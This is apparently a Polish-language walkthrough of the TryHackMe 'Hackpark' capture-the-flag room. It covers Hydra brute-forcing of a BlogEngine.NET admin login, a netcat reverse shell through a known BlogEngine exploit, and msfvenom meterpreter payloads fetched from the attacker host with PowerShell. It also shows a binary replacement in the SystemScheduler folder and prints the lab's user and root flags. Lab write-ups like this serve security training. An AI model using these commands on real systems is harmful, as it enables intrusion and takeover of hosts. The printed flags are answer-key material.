Hackpark

- https://tryhackme.com/room/hackpark

Cel

- user flag
- root flag

Nmap Init

```
nmap -p- 10.10.105.177
```

```
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
```

Nmap Full

```
nmap -sCV -p 80,3389 10.10.105.177
```

```
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-robots.txt: 6 disallowed entries
| /Account/. /search /search.aspx /error404.aspx
|/archive /archive.aspx
| http-methods:
| Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open ssl/ms-wbt-server?
```

Enumeracja WEB

- 10.10.105.177/admin
- Proba logowania

Burp

- przechwycenie logowania

```
POST /Account/login.aspx?ReturnURL=%2fadmin HTTP/1.1
Host: 10.10.105.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 756
Origin: http://10.10.105.177
Connection: close
Referer: http://10.10.105.177/Account/login.aspx?ReturnURL=%2fadmin
Upgrade-Insecure-Requests: 1

VIEWSTATE=pgYkR7HzpfkFlVFEkcw0wFCr4a7fk08hKI4J1lYjr3ReRbN0l36L%2F1M6oF
N1W85zOdi1Un1iNhG66FbM%2F6PH9SfhylVviCH9lh9on5qnfp56xxAO6dwAqTDzo1h0bB
n4zTLfGKeZA5KRN2p2UI0L9cN%2Bo1KyOS9qAaSNLdbPX1Dw%2B8WWf7kaBMcM0FuV8FTh
7vYuwqOwMSQUCHpBANyx6l8I%2BdlD32e3Lbba3PaAoQy8I1gbOb%2Fa4rxsaC%2FI5OcX
HuCKgT9G6scG%2BrJtyhDb3tkv3oXl0OFlgUo%2FD1nK%2BtxsVHPGdzEi9wKRuh7RPEcD
0bScUMMVUVsmSKoMdu19l707LqmwS8vKfX781BwT8uABjaDQ&EVENTVALIDATION=ITzJF
7ttDgNdrNqDLXVGvqwDURsRE8qnyX%2Bu1IbOO4UZ9glUo%2Bl0Fwef3cprXzaD0g2bUxU
Uw7%2BCH3bySzt9YOrMdpzEXy%2FkgE6KTCDjPxV2SEL0K%2Fa0a9va1sUH9HUyytibhpS
HcVrUe2grssAo3IV%2BwQCzVCobriAdecOss7VXMBC%2B&ctl00%24MainContent%24Lo
ginUser%24UserName=asd&ctl00%24MainContent%24LoginUser%24Password=asd&
ctl00%24MainContent%24LoginUser%24LoginButton=Log+in
```

Hydra

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.105.177 http-post-
form
"/Account/login.aspx:__VIEWSTATE=J7%2FrKT%2FRbzXElHvOFArr4HX0BUp05PUs%2Bjl4fN
5QtFnsigr6tjwFZkWaUW9RaCNkl5wcaaA9I71WXBKsdywllsO45a8kdE%2BO2GeciLswYLZgMhEIY
MOLKvVE1g9%2FuxmOjygsPrfW43YX1axgD3V%2FmbHd2lx7jcwje7Qgkp065G2LekTQ&__EVENTVA
LIDATION=nIJxL4rdGJE3KYMzFDmVH35CAPYLfmVh68KpFWCfpmOAp8i4dLgnYkYLVP3UEDV8IiIq
X6kXoIwujnQvd7xTK1Tbiqg5RF0fYL3q6nazJk37P%2BrLs8lq043TvaeMwGi4uqTkx2onf8prQt9
NNxgtS4oXE0haNUx6xQId8O8kqlZfYRAG&ctl00%24MainContent%24LoginUser%24UserName=
```

```
^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%
24LoginUser%24LoginButton=Log+in:Login failed"
```

[80][http-post-form] host: 10.10.105.177 login: **admin** password: **1qaz2wsx**

Podatnosc BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution

- https://www.exploit-db.com/exploits/46353
- Przeslanie pliku plik.ascx na serwer
- content > posts > wejsciew post > file manager
- netcat

```
nc -lvnp 4400
```

- wejscie na http://10.10.105.177/?theme=../../App_Data/files w celu wykorzystania podatnosci

```
listening on [any] 4400 ...
connect to [10.11.83.56] from (UNKNOWN) [10.10.105.177] 49313
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
id
c:\windows\system32\inetsrv>id
pwd
c:\windows\system32\inetsrv>pwd
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
```

Privilege Escalation

- Uruchomienie serwera python

```
python3 -m http.server
```

- Reverse shell msfvenom

```
 msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder
x86/shikata_ga_nai LHOST=10.11.83.56 LPORT=2345 -f exe -o revshell.exe
```

- powershell

```
powershell -c "Invoke-WebRequest -Uri 'http://10.1856:8000/revshell.exe' -
OutFile 'c:\windows\temp\revshell.exe'"
```

- msfconsole multi/handler

```
msf6 > use 30
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > sel LHOST 10.11.83.56
[-] Unknown command: sel
msf6 exploit(multi/handler) > set LHOST 10.11.83.56
LHOST => 10.11.83.56
msf6 exploit(multi/handler) > set LPORT 2345
LPORT => 2345
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.11.83.56:2345
```

- Powershell

```
powershell -c "Invoke-WebRequest -Uri 'http://10.11.83.56:8000/revshell.exe'
-OutFile 'c:\windows\temp\revshell.exe'"
```

```
dir
c:\Windows\Temp>dir
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552
 Directory of c:\Windows\Temp
09/24/2022  11:30 AM    DIR          .
09/24/2022  11:30 AM    DIR          ..
08/06/2019  02:13 PM             8,795 Amazon_SSM_Agent_20190806141239.log
```

```
08/06/2019  02:13 PM           181,468
Amazon_SSM_Agent_20190806141239_000_AmazonSSMAgentMSI.log
08/06/2019  02:13 PM             1,206 cleanup.txt
08/06/2019  02:13 PM               421 cmdout
08/06/2019  02:11 PM                 0 DMI2EBC.tmp
08/03/2019  10:43 AM                 0 DMI4D21.tmp
08/06/2019  02:12 PM             8,743 EC2ConfigService_20190806141221.log
08/06/2019  02:12 PM           292,438
EC2ConfigService_20190806141221_000_WiXEC2ConfigSetup_64.log
09/24/2022  11:28 AM    <DIR>          Microsoft
09/24/2022  11:30 AM            73,802 **revshell.exe**
08/06/2019  02:13 PM                21 stage1-complete.txt
08/06/2019  02:13 PM            28,495 stage1.txt
```

```
.\revshell.exe
```

Metapreter

```
[*] Started reverse TCP handler on 10.11.83.56:2345
[*] Sending stage (175686 bytes) to 10.10.96.177
[*] Meterpreter session 1 opened (10.11.83.56:2345 -> 10.10.96.177:49247) at
2022-09-24 14:33:23 -0400

meterpreter > pwd
c:\Windows\Temp
```

```
meterpreter > cd users
meterpreter > ls
Listing: c:\users
==========

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  8192  dir   2019-08-03 14:15:04 -0400  .NET v4.5
040777/rwxrwxrwx  8192  dir   2019-08-03 14:15:04 -0400  .NET v4.5 Classic
040777/rwxrwxrwx  8192  dir   2019-08-05 17:03:44 -0400  Administrator
040777/rwxrwxrwx  0     dir   2013-08-22 10:48:41 -0400  All Users
040555/r-xr-xr-x  8192  dir   2014-03-21 15:16:56 -0400  Default
040777/rwxrwxrwx  0     dir   2013-08-22 10:48:41 -0400  Default User
040555/r-xr-xr-x  4096  dir   2013-08-22 11:39:32 -0400  Public
```

```
100666/rw-rw-rw-  174   fil   2013-08-22 11:37:57 -0400  desktop.ini
040777/rwxrwxrwx  8192  dir   2019-08-04 14:54:53 -0400  jeff

meterpreter > cd jeff
[-] stdapi_fs_chdir: Operation failed: Access is denied.
```

Metapreter p.2

```
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder
x86/shikata_ga_nai LHOST=10.11.83.56 LPORT=3456 -f exe -o Message.exe
```

```
msf6 > use 30
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.11.83.56
LHOST => 10.11.83.56
msf6 exploit(multi/handler) > set LPORT 3456
LPORT => 3456
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.11.83.56:3456
```

```
powershell -c "Invoke-WebRequest -Uri 'http://10.11.83.56:8000/Message.exe' -
OutFile 'C:\Program Files (x86)\SystemScheduler\Message.exe'"
```

```
meterpreter > getuid
Server username: HACKPARK\Administrator
meterpreter > cd c:\users\jeff\desktop\
meterpreter > ls
Listing: C:\users\jeff\desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2019-08-04 20:54:53 +0200  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-04 20:55:12 +0200  user.txt
```

```
meterpreter > cat user.txt
759bd8af507517bcfaede78a21a73e39
```

```
meterpreter > cd C:\users\administrator\desktop
meterpreter > ls
Listing: C:\users\administrator\desktop
==========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1029  fil   2019-08-04 13:36:42 +0200  System Scheduler.lnk
100666/rw-rw-rw-  282   fil   2019-08-03 19:43:54 +0200  desktop.ini
100666/rw-rw-rw-  32    fil   2019-08-04 20:48:59 +0200  root.txt

meterpreter > cat root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72
```